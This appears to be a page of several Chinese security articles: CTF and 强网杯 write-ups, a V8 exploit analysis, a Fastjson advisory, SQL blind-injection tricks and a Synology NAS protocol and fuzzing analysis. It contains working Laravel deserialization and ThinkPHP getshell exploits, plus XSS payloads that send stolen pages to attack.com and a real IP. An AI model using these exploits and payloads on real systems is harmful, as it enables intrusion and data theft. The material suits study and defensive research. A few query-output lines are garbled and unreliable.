arr[0] = 0x1122;//修改数组长度
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
通过代码`Array(Math.sign(0 - Math.max(0, x,
-1)))`创建一个length为-1的数组，然后使用LeakArrayBuffer构造内存布局，将相对读写布局成绝对读写。
这里需要说明的是，由于chrome80以上版本启用了地址压缩，地址高4个字节，可以在构造的array后面的固定偏移找到。
先将corrupt_buffer的地址泄露，然后如下计算地址
(corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
可以计算出高4字节。
同时结合0x02步骤中实现的相对读写和对象泄露，可实现绝对地址读写。@r4j0x00在issue
1196683中构造length为-1数组后，则通过伪造对象实现任意地址读写。
之后，由于WASM内存具有RWX权限，因此可以将shellcode拷贝到WASM所在内存，实现任意代码执行。
具体细节参考exp。
该漏洞目前已修复。
### 0x04-小结
严格来说，此次研究人员公开的两个漏洞并非0day，相关漏洞在最新的V8版本中已修复，但在公开时并未merge到最新版chrome中。由于Chrome自身拥有沙箱保护，该漏洞在沙箱内无法被成功利用，一般情况下，仍然需要配合提权或沙箱逃逸漏洞才行达到沙箱外代码执行的目的。但是，其他不少基于v8等组件的app（包括安卓），尤其是未开启沙箱保护的软件，仍具有潜在安全风险。
漏洞修复和应用代码修复之间的窗口期为攻击者提供了可乘之机。Chrome尚且如此，其他依赖v8等组件的APP更不必说，使用1 day甚至 N day即可实现0
day效果。这也为我们敲响警钟，不仅仅是安全研究，作为应用开发者，也应当关注组件漏洞并及时修复，避免攻击者趁虚而入。
我们在此也敦促各大软件厂商、终端用户、监管机构等及时采取更新、防范措施；使用Chrome的用户需及时更新，使用其他Chrome内核浏览器的用户则需要提高安全意识，防范攻击。
### 参考链接
<https://chromium-review.googlesource.com/c/v8/v8/+/2826114/3/src/compiler/representation-change.cc>
<https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=476971>
<https://bugs.chromium.org/p/chromium/issues/detail?id=1150649>
<https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=465645>
<https://bugs.chromium.org/p/chromium/issues/detail?id=1126249>
<https://github.com/avboy1337/1195777-chrome0day/blob/main/1195777.html>
<https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js>
* * * | 社区文章 |
# DEFCON CTF Qualifier 2019 ooops Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这次defcon quals的web又是大坑，花了最长时间的shellql最后是个pwn，拿flag全靠show full processlist
wasm标着web&pwn，结果逆向出flag
唯有一道OOOPS算是比较纯正的，而且挺有意思的web题
## 信息收集
最开始题目只给了一个pac文件，内容是一段混淆过的js代码。
eval((function () {
var s = Array.prototype.slice.call(arguments),
G = s.shift();
return s.reverse().map(function (f, i) {
return String.fromCharCode(f - G - 19 - i)
}).join('')
})(29, 202, 274, 265, 261, 254, 265, 251, 267, 227, 179, 247, 249, 260, 175, 244, 252, 172, 253, 239, 237, 250, 214, 166, 248, 237, 163, 245, 244, 229, 226, 225, 222, 156, 233, 219, 220, 152, 234, 219, 218, 237, 226, 222, 225, 221, 212, 142, 228, 219, 215, 208, 219, 205, 221, 213, 133, 221, 207, 208, 208, 128, 196, 198, 177, 124, 133, 137, 121, 120, 97, 209, 117, 125, 199, 197, 192, 184, 111, 122, 185, 190, 192, 114, 183, 183, 176, 186, 168, 178, 184, 168, 97, 125, 95, 138, 143, 145, 173, 169, 127, 177, 175, 165, 167, 132, 151, 160, 154, 118) + (16).toString(36).toLowerCase().split('').map(function (c) {
return String.fromCharCode(c.charCodeAt() + (-71))
......
省略
直接console.log包裹就可以输出内容
FindProxyForURL = function(url, host) {
/* The only overflow employees can access is Order of the Overflow. Log in with OnlyOne:Overflow */
if (shExpMatch(host, 'oooverflow.io')) return 'DIRECT';return 'PROXY ooops.quals2019.oooverflow.io:8080';
}
### 前台xss
直接http代理登录，访问ooops.quals2019.oooverflow.io后返回响应
<!DOCTYPE html>
<html>
<head>
<script src="main.js"></script>
<meta charset="utf-8" />
</head>
<body>
<div class="container">
<h1>Page Blocked</h1>
<img id=logo src="ooo.png"> <br/>
<div id="blocked"></div>
<a href="review.html">Request site review</a>
</div>
</div>
</body>
</html>
main.js的内容为
function split_url(u) {
u = decodeURIComponent(u); // Stringify
output = u[0];
for (i=1;i<u.length;i++) {
output += u[i]
if (i%55==0) output+= "<br/>";
}
console.log(output)
return output
}
window.onload = function () {
d = document.getElementById("blocked");
d.innerHTML=(split_url(document.location) + " is blocked")
}
这里可以很轻易的发现main.js在decode document.location后修改了innerHTML，导致了XSS的产生
### 代理解析问题
客户端是通过http代理访问ooops.quals2019.oooverflow.io，经过测试，发现只要url的domain或者path部分出现了oooverflow.io，就会直接访问上述的响应内容，而不会真正去请求这个url
比如 `http://foo.com/oooverflow.io/?a=xxxx`这样的请求也会返回上述响应的内容
### 后台bot
上述响应中还存在review.html，会让bot请求你输入的链接
让bot访问你的vps，发现UA为`Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.1
(KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1`
且referer为`http://10.0.9.6:5000/admin/view/39`
访问这个页面出现需要内网用户访问的提示
## 后台XSS
第一部分中，我们拥有了一个前台的js代码执行，但是在前台的域下，没有可用的信息。根据后台bot的信息，我们的目标应该是获取到后台`/admin/view/39`的内容或者是后台的cookie
但是前后台跨域，因此需要先解决跨域的问题
### 前后台解析不一致
首先，链接是由bot请求的，同时，bot请求也会经过代理。
借助第一部分中代理只要包含oooverflow.io就会返回固定响应内容的特点，我们可以构造这样的请求`http://10.0.9.6:5000/oooverflow.io/`
对于这个请求，bot首先发送给代理，代理会将固定的响应返回给bot，这时bot面对的是一个存在xss漏洞的页面，通过插入标签即可执行js代码，而这个时候，bot面对的域仍是10.0.9.6:5000，解决跨域的问题。
这种思路和RPO很类似
### 任意执行js
根据第一部分的响应，在对document.location进行处理的时候，每55个字符会加上一个`<br/>`
绕过也很简单，通过执行下面代码的思路即可
eval(location.hash.slice(1))
因此payload的总体结构即为
http://10.0.9.6:5000/oooverflow.io/?aaaaaaaaaaaaaaaaaaaa<img src=1 onerror=eval(location.hash.slice(1))>#function reqListener () {var encoded = encodeURI(this.responseText);var b64 = btoa(this.responseText);var raw = this.responseText;document.write('<iframe src="http://attack.com?data='+b64+'"></iframe>');} var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://10.0.9.6:5000/admin/view/1");oReq.send();
## 后台sql注入
执行上述payload以后，响应的页面大致如下
<!doctype html>
<html>
<head>
<title>OOOPS — Evaluate Requests</title>
<link href="/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"></head>
<body>
<div class="container">
<div class="row">
<!-- Query: select rowid,* from requests where rowid=1 -->
<p>
Request #1 from b'10.255.0.2'.
Automatically evaluated
</p>
<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="xxxxxx">
Visit xxxxx
</a>
</div>
</div>
</body>
</html>
发现执行了sql语句，最基本最简单的id直接注入，唯一要注意的就是后台的数据库是sqlite而不是mysql
最后flag在flag表中
最终payload如下
http://10.0.9.6:5000/oooverflow.io/?aaaaaaaaaaaaaaaaaaaa<img src=1 onerror=eval(location.hash.slice(1))>#function reqListener () {var encoded = encodeURI(this.responseText);var b64 = btoa(this.responseText);var raw = this.responseText;document.write('<iframe src="http://118.89.245.122?data='+b64+'"></iframe>');} var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://10.0.9.6:5000/admin/view/-1 union select (select flag from flag),2,3,4,5");oReq.send(); | 社区文章 |
# 【漏洞预警】Fastjson 远程代码执行漏洞(暂无PoC)
|
##### 译文声明
本文是翻译文章，文章来源：正禾@先知技术社区
原文地址：<https://bbs.aliyun.com/read/309931.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**Fastjson简介**
Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法，把JSON
Parse的性能提升到极致，是目前Java语言中最快的JSON库。Fastjson接口简单易用，已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
**
**
**漏洞概要**
2017年3月15日，Fastjson
官方发布安全公告，该公告介绍fastjson在1.2.24以及之前版本存在代码执行漏洞代码执行漏洞，恶意攻击者可利用此漏洞进行远程代码执行，从而进一步入侵服务器，目前官方已经发布了最新版本，最新版本已经成功修复该漏洞。
**漏洞详情**
**漏洞编号:** 暂无
**漏洞名称:** **** Fastjson远程代码执行漏洞
**官方评级:** 高危
**漏洞描述:**
fastjson在1.2.24以及之前版本存在代码执行漏洞，当用户提交一个精心构造的恶意的序列化数据到服务器端时，fastjson在反序列化时存在漏洞，可导致远程任意代码执行漏洞。
**漏洞利用条件和方式:**
黑客可以远程代码执行成功利用该漏洞。
**漏洞影响范围:**
1.2.24及之前版本
**
**
**漏洞检测**
检查fastjson 版本是否在1.2.24版本内
ps aux | grep fastjson
**POC**
暂无 ****
**WAF检测办法**
检测post内容中是否包含如下字符
"@type"
**漏洞修复建议(或缓解措施)**
目前官方已经发布了最新版本，该版本已经成功修复该漏洞。
阿里云上用户建议采用以下两种方式将fastjson升级到1.2.28或者更新版本：
更新方法如下：
**1.Maven 依赖配置更新**
通过 maven 配置更新，使用最新版本，如下：
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.28</version>
</dependency>
**2. 最新版本下载**
下载地址：<http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.28/>
**3.云盾WAF防护**
如果您无法及时升级fastjson，您可以选用[阿里云云盾WAF](https://common-buy.aliyun.com/?spm=5176.bbsr309931.0.0.JVViAV&commodityCode=waf#/buy)自动防护。
**情报来源**
<https://github.com/alibaba/fastjson/wiki/security_update_20170315> | 社区文章 |
本篇文章记录了2019强网杯线下赛中的3道Web题解，个人并未参加线下赛，仅复盘记录。题目下载：链接:
<https://pan.baidu.com/s/1mcHEJ1fmWtw4ZOMkEEcH4Q> 密码: fl0c
## laravel
先通过如下命令将 **Web** 网站搭起来，通过查看 **composer.json** 文件可知该网站采用了 **Laravel 5.7**
版本框架。如果有关注过 **Laravel** 的漏洞，应该知道该版本的 **Laravel** 存在一个远程代码执行漏洞，我们继续看代码部分。
➜ laravel-5.7 composer install
➜ laravel-5.7 php -S 0.0.0.0:8000 -t public
框架的路由也不多，找到对应的控制器，发现明显是一个反序列化漏洞，估计就是利用反序列化进行代码执行了。
直接通过 **CVE** 就能找到相关漏洞分析文章，虽然作者删了原文，但是还是可以通过 **google** 快照找到 **EXP** 。
该漏洞主要是利用了 **Illuminate\Foundation\Testing\PendingCommand** 类的 **run**
方法来执行命令，具体漏洞的分析见下篇文章。我们可以构造 **EXP** 如下：
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app){
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
$genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
$application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('ls'),$genericuser,$application);
echo urlencode(serialize($pendingcommand));
}
?>
将上述文件放在 **public** 目录下生成 **EXP** 即可，执行 **ls** 命令结果如下：
## yxtcms
> 题目说明：
>
> 已经删除可用的install , admin,
> UpdateController.class.php和SettingController.class.php文件夹和文件，相关思路请不要尝试。
题目提供了源码，可以发现该 **cms** 基于 **thinkcmf** 二次开发，而 **thinkcmf** 用的就是 **ThinkPHP** 。
**thinkcmf** 有两个大分支，一个基于 **ThinkPHP3** ，另一个基于 **ThinkPHP5** ，所以我们要先查一下该
**ThinkPHP** 的版本。如下图所示，可以发现是其版本是 **3.2.3** ，而这个版本的 **ThinkPHP** 最出名的 **RCE**
就属缓存设计缺陷 **getshell** 了，漏洞成因和 **ThinkPHP5** 版本的基本一样，详细分析可以参考：
[ThinkPHP5漏洞分析之代码执行(八)](https://mochazz.github.io/2019/05/31/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C8/)
。
为了确定该漏洞没有被人为修复，我们可以看一下缓存设计文件的代码。具体代码如下图所示，可以发现 **第19行** 代码将缓存数据写入 **PHP**
文件中，虽然开头有注释符，但我们可以使用换行符（ `%0a`）绕过。
从 **ThinkPHP3.2.3** 开发手册可知，可以通过 **S** 方法进行数据缓存。
我们全局搜索一下哪些方法调用了 **S** 函数，会发现 **thinkcmf** 中的动态更新配置函数 **sp_set_dynamic_config**
似乎比较好利用，因为其将传入的 **$data** 变量和系统配置变量数组合并，并将合并数据写入缓存中。
我们继续搜索何处调用了 **sp_set_dynamic_config** 函数，会发现除了题目删掉的 **admin、install**
目录外，还有四处调用了该函数。其中只有第二个可以直接访问，其貌似都要登录。
所以我们根据 **ThinkPHP3.2.3** 的访问规则访问即可， **payload** 如下：
curl -d 'authoCode=%0aphpinfo();//' 'http://0.0.0.0:8000/index.php?g=api&m=oauth&a=injectionAuthocode'
这里的缓存文件名实际上就是缓存变量名的 **md5** 值，例如这题中 `S("sp_dynamic_config",$configs)` 对应的文件名就是
**md5("sp_dynamic_config")** 。
## cscms
同样题目给了源码，提示说删了 **admin** 目录、 **install.php** ，于是上 **CVE、CNVD、seebug**
上搜了一下，没有发现有用的 **RCE** 漏洞。我们先从源码中搜集一些版本信息，可以看到该 **CMS** 用的是 **CI** 框架，版本为
**3.1.3** ， **CMS** 本身的版本为 **4.1.75** 。
➜ html grep -Rni 'version'
cscms/config/sys/Cs_Version.php:4:define("CS_Version","4.1.75");
cscms/system/core/CodeIgniter.php:58: const CI_VERSION = '3.1.3';
我们可以上该 **CMS** 官网看一下更新日志，从中找寻漏洞点。如下图所示，可以看到该 **CMS** 存在 **SSTI**
漏洞，遂及将补丁下载下来分析。
补丁中主要有两个文件发生变化：
* cscms/app/helpers/common_helper.php删除了：get_file_mime方法
* cscms/app/core/CS_Input.php增加了：get、post、post_get、get_post四个方法
看样子，好像原先的 **SSTI** 漏洞是由于 **GET、POST** 引起的，因为这里并未发现对过滤规则的修改。其实这个 **CMS**
我第一眼看过去，和 **海洋CMS、苹果CMS、DuomiCMS** 有点像，而这几个 **CMS**
都存在模板标签注入导致代码执行的问题，那么我们尝试全局搜索一下 **eval** 函数。从搜索结果中，我们可以看出这个 **CMS**
的写法真的和前面提到的几个 **CMS** 很像，所谓的 **SSTI** 极有可能就是模板标签注入。
细看代码，我们会发现程序会将 **{cscmsphp}** 标签中包裹的代码当做 **PHP** 代码来执行。
于是随手试了一下，发现搜索处果然存在代码执行，就是不知道当时比赛的时候这个 **dance** 模块有没配置开放。
如果没有配置开放的话，还可以利用留言处注入 **payload** 。具体可以参考其他 **writeup** 。
## 其他WP
[实战：2019 强网杯 final Web Writeup](https://www.4hou.com/web/18587.html)
[强网杯决赛RW的3个Web题](https://mp.weixin.qq.com/s/nuecZTuRTrbYqahzdwh7tw) | 社区文章 |
# SQL注入的两个小Trick与总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近发现了两个关于sql注入的小trick,分享一下.
## between and 操作符代替比较符
操作符 BETWEEN … AND 会选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
`between and`有数据比较功能
exp1 between min and max
如果exp1的结果处于min和max之间,`between and`就返回`1`,反之返回`0`.
示例
mysql> select * from user;
+----+----------+----------------------------------+-------------------+
| id | username | password | email |
+----+----------+----------------------------------+-------------------+
| 1 | a | 0cc175b9c0f1b6a831c399e269772661 | [email protected] |
| 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | [email protected] |
| 3 | admin | 26fff50e6f9c6ca38e181c65c1531eca | [email protected] |
| 4 | add | 0cc175b9c0f1b6a831c399e269772661 | [email protected] |
+----+----------+----------------------------------+-------------------+
mysql> select * from user where id between 1 and 2;
+----+----------+----------------------------------+-------------------+
| id | username | password | email |
+----+----------+----------------------------------+-------------------+
| 1 | a | 0cc175b9c0f1b6a831c399e269772661 | [email protected] |
| 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | [email protected] |
+----+----------+----------------------------------+-------------------+
大多数数据库都支持`between and`操作,但是对于边界的处理有所不同,在mysql中,`between and`
是包含边界的,在数学中也就是`[min,max]`
## 在盲注中应用
`between and`可以用来在过滤了`=`,`like`, `regexp`,`>`,`<`的情况下使用.
mysql> select database();
+------------+
| database() |
+------------+
| test |
+------------+
1 row in set (0.00 sec)
### 1\. 配合截取函数使用
mysql> select mid(database(),1,1) between 'a' and 'a' ;
+-----------------------------------------+
| mid(database(),1,1) between 'a' and 'a' |
+-----------------------------------------+
| 0 |
+-----------------------------------------+
1 row in set (0.00 sec)
mysql> select mid(database(),1,1) between 't' and 't' ;
+-----------------------------------------+
| mid(database(),1,1) between 't' and 't' |
+-----------------------------------------+
| 1 |
+-----------------------------------------+
1 row in set (0.00 sec)
### 2\. 截取函数被过滤
表达式
select exp between min and max
在截取字符函数被过滤的时候,设置`min`和 `max`的方式有所改变.
测试1
mysql> select 'b' between 'a' and 'c';
+-------------------------+
| 'b' between 'a' and 'c' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
mysql> select 'b' between 'a' and 'b';
+-------------------------+
| 'b' between 'a' and 'b' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
mysql> select 'b' between 'b' and 'c';
+-------------------------+
| 'b' between 'b' and 'c' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
测试2
mysql> select 'bcd' between 'a' and 'c';
+---------------------------+
| 'bcd' between 'a' and 'c' |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)
mysql> select 'bcd' between 'a' and 'b';
+---------------------------+
| 'bcd' between 'a' and 'b' |
+---------------------------+
| 0 |
+---------------------------+
1 row in set (0.00 sec)
mysql> select 'bcd' between 'b' and 'c';
+---------------------------+
| 'bcd' between 'b' and 'c' |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)
由测试可知,当`exp`为单个字符时三种区间返回值都是`1`,但是当`exp`为字符串时,当区间为`a-b`时,返回值为`0`.区间为`a-c`或者`b-c`时,返回值为`1`.
也就是在进行字符串比较时,只会包含一边的值,也就是`[b,c)`.
所以在实际利用时,就要注意区间的范围.
实际测试
mysql> select database() between 'a' and 'z';
+--------------------------------+
| database() between 'a' and 'z' |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.05 sec)
...
mysql> select database() between 't' and 'z';
+--------------------------------+
| database() between 't' and 'z' |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'u' and 'z';
+--------------------------------+
| database() between 'u' and 'z' |
+--------------------------------+
| 0 |
+--------------------------------+
1 row in set (0.00 sec)
由结果可知,第一个字符为`t`
第二个字符
mysql> select database() between 'tatest
+----------------------------------+test
| database() between 'ta' and 'tz' |test
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'te' and 'tz';
+----------------------------------+
| database() between 'te' and 'tz' |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 'tf' and 'tz';
+----------------------------------+
| database() between 'tf' and 'tz' |
+----------------------------------+
| 0 |
+----------------------------------+
1 row in set (0.00 sec)
剩下的以此类推.最终为`test`.
### 3\. 单引号被过滤
`between and`还支持16进制,所以可以用16进制,来绕过单引号的过滤.
测试
mysql> select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';
+----------------------------------+
| database() between 0x61 and 0x7a |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 0x74 and 0x7a; //select database() between 't' and 'z';
+----------------------------------+
| database() between 0x74 and 0x7a |
+----------------------------------+
| 1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select database() between 0x75 and 0x7a; //select database() between 'u' and 'z';
+----------------------------------+
| database() between 0x75 and 0x7a |
+----------------------------------+
| 0 |
+----------------------------------+
1 row in set (0.00 sec)
## 了解order by
order by是mysql中对查询数据进行排序的方法，
使用示例
select * from 表名 order by 列名(或者数字) asc；升序(默认升序)
select * from 表名 order by 列名(或者数字) desc；降序
这里的重点在于order by后既可以填列名或者是一个数字。举个例子：
id是user表的第一列的列名，那么如果想根据id来排序，有两种写法:
select * from user order by id;
selecr * from user order by 1;
## order by盲注
### 结合union来盲注
这个是在安恒杯月赛上看到的。
后台关键代码
$sql = 'select * from admin where username='".$username."'';
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if(isset($row)&&row['username']!="admin"){
$hit="username error!";
}else{
if ($row['password'] === $password){
$hit="";
}else{
$hit="password error!";
}
}
payload
username=admin' union 1,2,'字符串' order by 3
sql语句就变为
select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;
这里就会对第三列进行比较，即将字符串和密码进行比较。然后就可以根据页面返回的不同情况进行盲注。
注意的是最好加上binary，因为order by比较的时候不区分大小写。
### 基于if()盲注
**需要知道列名**
order by的列不同，返回的页面当然也是不同的，所以就可以根据排序的列不同来盲注。
示例：
order by if(1=1,id,username);
这里如果使用数字代替列名是不行的，因为if语句返回的是字符类型，不是整型。
**不需要知道列名**
payload
order by if(表达式,1,(select id from information_schema.tables))
如果表达式为false时，sql语句会报ERROR 1242 (21000): Subquery returns more than 1
row的错误，导致查询内容为空，如果表达式为true是，则会返回正常的页面。
### 基于时间的盲注
payload
order by if(1=1,1,sleep(1))
测试结果
select * from ha order by if(1=1,1,sleep(1)); #正常时间
select * from ha order by if(1=2,1,sleep(1)); #有延迟
测试的时候发现延迟的时间并不是sleep(1)中的1秒，而是大于1秒。
最后发现延迟的时间和所查询的数据的条数是成倍数关系的。
计算公式：
延迟时间=sleep(1)的秒数*所查询数据条数
我所测试的ha表中有五条数据，所以延迟了5秒。如果查询的数据很多时，延迟的时间就会很长了。
在写脚本时，可以添加timeout这一参数来避免延迟时间过长这一情况。
### 基于rang()的盲注
原理不赘述了，直接看测试结果
mysql> select * from ha order by rand(true);
+----+------+
| id | name |
+----+------+
| 9 | NULL |
| 6 | NULL |
| 5 | NULL |
| 1 | dss |
| 0 | dasd |
+----+------+
mysql> select * from ha order by rand(false);
+----+------+
| id | name |
+----+------+
| 1 | dss |
| 6 | NULL |
| 0 | dasd |
| 5 | NULL |
| 9 | NULL |
+----+------+
可以看到当rang()为true和false时，排序结果是不同的，所以就可以使用rang()函数进行盲注了。
例
order by rand(ascii(mid((select database()),1,1))>96)
## 后记
`order by`注入在crf里其实出现挺多了,一直没有总结过.这次比较全的整理了一下(自认为比较全.XD),就和`between
and`一起发出来了.欢迎师傅交流学习. | 社区文章 |
# A-Journey-into-Synology-NAS-系列二——findhostd服务分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上一篇文章主要对群晖`NAS`进行了简单介绍，并给出了搭建群晖`NAS`环境的方法。在前面的基础上，本篇文章将从局域网的视角出发，对群晖`NAS`设备上开放的部分服务进行分析。由于篇幅原因，本文将重点对`findhostd`服务进行分析，介绍对应的通信机制和协议格式，并分享在其中发现的部分安全问题。
## 服务探测
由于`NAS`设备是网络可达的，假设我们与其处于同一个局域网中，首先对设备上开放的端口和服务进行探测。简单起见，这里直接通过`netstat`命令进行查看，如下。
可以看到，除了一些常见的服务如`smbd`、`nginx`、`minissdpd`和`snmpd`等，还有一些自定义的服务如`synovncrelayd`、`iscsi_snapshot_comm_core`、`synosnmpd`和`findhostd`等。与常见服务相比，这些自定义的服务可能`less
tested and more
vulnerable`，因此这里主要对这些自定义服务进行分析，包括`findhostd`和`iscsi_snapshot_comm_core`。
## findhostd服务分析
`findhostd`服务主要负责和`Synology Assistant`进行通信，而`Synology
Assistant`则用于在局域网内搜索、配置和管理对应的`DiskStation`，比如安装`DSM`系统、设置管理员账号/密码、设置设备获取`IP`地址的方式，以及映射网络硬盘等。
通过抓包分析可知，`Synology
Assistant`和`findhostd`之间主要通过`9999/udp`端口(`9998/udp`、`9997/udp`)进行通信，一个简单的通信流程如下。具体地，`Synology
Assistant`首先发送一个广播`query`数据包，之后`findhostd`会同时发送一个广播包和单播包作为响应。在发现对应的设备后，`Synology
Assistant`可以进一步发送其他广播包如`quickconf`、`memory
test`等，同样`findhostd`会发送一个广播包和单播包作为响应。
抓取的部分数据包如上图右侧所示。可以看到，两者之间通过`9999/udp`端口进行通信，且数据似乎以明文方式进行传输，其中包括`mac`地址、序列号和型号等信息。
### 协议格式分析
为了了解具体的协议格式，需要对`findhostd`(或`Synology
Assistant`客户端)进行逆向分析和调试。经过分析可知，消息开头部分是`magic`
(`\x12\x34\x56\x78\x53\x59\x4e\x4f`)，然后存在一大段与协议格式相关的数据`grgfieldAttribs`，表明消息剩余部分的格式和含义。具体地，下图右侧中的每一行对应结构`data_chunk`，其包含6个字段。其中，`pkt_id`字段表明对应数据的含义，如数据包类型、用户名、`mac`地址等；`offset`字段对应将数据放到内部缓冲区的起始偏移；`max_length`字段则表示对应数据的最大长度。
根据上述信息，可以将数据包按下图格式进行解析。具体地，消息开头部分为`magic`
(`\x12\x34\x56\x78\x53\x59\x4e\x4f`)，后面的部分由一系列的`TLV`组成，`TLV`分别对应`pkt_id`、`data_length`和`data`。
进一步地，为了更方便地对数据包格式进行分析，编写了一个`wireshark`协议解析插件[syno_finder](https://github.com/cq674350529/pocs_slides/tree/master/scripts/wireshark_plugins/syno_finder)，便于在`wireshark`中直接对数据包进行解析，效果如下图所示。
需要说明的是，在较新版本的`Synology
Assistant`和`DSM`中，增加了对数据包加密的支持(因为其中可能会包含敏感信息)。对应地，存在两个`magic`，分别用于标识明文消息和密文消息。同时，引入了几个新的`pkt_id`，用于传递与加解密相关的参数。
// magic
#define magic_plain “\x12\x34\x56\x78\x53\x59\x4e\x4f”
#define magic_encrypted “\x12\x34\x55\x66\x53\x59\x4e\x4f” // introduced recently
// new added
000000c3 00000001 00002f48 00000004 00000000 00000000 # support_onsite_tool
000000c4 00000000 00002f4c 00000041 00000000 00000000 # public key
000000c5 00000001 00002f90 00000004 00000000 00000000 # randombytes
000000c6 00000001 00002f94 00000004 00000000 00000000
### 协议fuzzing
在了解了协议的格式之后，为了测试协议解析代码的健壮性，很自然地会想到采用`fuzz`的方式。这里采用`Kitty`和`Scapy`框架，来快速构建一个基于生成的黑盒`fuzzer`。`Scapy`是一个强大的交互式数据包处理程序，借助它可以方便快速地定义对应的协议格式，示例如下。
class IDPacket(Packet):
fields_desc = [
XByteField('id', 0x01),
FieldLenField('length', None, length_of='value', fmt='B', adjust=lambda pkt,x:x),
StrLenField('value', '\x01\x00\x00\x00', length_from=lambda x:x.length)
]
# ...
def post_build(self, pkt, pay):
if pkt[1] != 4 and pkt[1] != 0xff:
packet_max_len = self._get_item_max_len(pkt[0])
if len(pkt[2:]) >= packet_max_len:
if packet_max_len == 0:
pkt = bytes([pkt[0], 0])
else:
pkt = bytes([pkt[0], packet_max_len-1])+ pkt[2:2+packet_max_len]
return pkt + pay
class FindHostPacket(Packet):
fields_desc = [
StrLenField('magic_plain', '\x12\x34\x56\x78\x53\x59\x4e\x4f'),
PacketListField('id_packets', [], IDPacket)
]
[Kitty](https://github.com/cisco-sas/kitty)是一个开源、模块化且易于扩展的`fuzz`框架，灵感来自于`Sulley`和`Peach
Fuzzer`。基于前面定义的协议格式，借助`Kitty`框架，可以快速地构建一个基于生成的黑盒`fuzzer`。另外，考虑到`findhostd`和`Synology
Assistant`之间的通信机制，可以同时对两端进行`fuzz`。
host = '<broadcast>'
port = 9999
RANDSEED = 0x11223344
packet_id_a4 = qh_nas_protocols.IDPacket(id=0xa4, value='\x00\x00\x02\x01')
# ...
packet_id_2a = qh_nas_protocols.IDPacket(id=0x2a, value=RandBin(size=240))
# ...
pakcet_id_rand1 = qh_nas_protocols.IDPacket(id=RandByte(), value=RandBin(size=0xff))
pakcet_id_rand2 = qh_nas_protocols.IDPacket(id=RandChoice(*qh_nas_protocols.PACKET_IDS), value=RandBin(size=0xff))
findhost_packet = qh_nas_protocols.FindHostPacket(id_packets=[packet_id_a4, packet_id_2a, ..., packet_id_rand1, packet_id_rand2])
findhost_template = Template(name='template_1', fields=[ScapyField(findhost_packet, name='scapy_1', seed=RANDSEED, fuzz_count=100000)])
model = GraphModel()
model.connect(findhost_template)
target = UdpTarget(name='qh_nas', host=host, port=port, timeout=2)
fuzzer = ServerFuzzer()
fuzzer.set_interface(WebInterface(host='0.0.0.0', port=26001))
fuzzer.set_model(model)
fuzzer.set_target(target)
fuzzer.start()
此外，基于前面定义好的协议格式，也可以实现一个简易的`Synology Assistant`客户端。
class DSAssistantClient:
# ...
def add_pkt_field(self, pkt_id, value):
self.pkt_fields.append(qh_nas_protocols.IDPacket(id=pkt_id, value=value))
def clear_pkt_fields(self):
self.pkt_fields = []
def find_target_nas(self):
self.clear_pkt_fields()
self.add_pkt_field(0xa4, '\x00\x00\x02\x01')
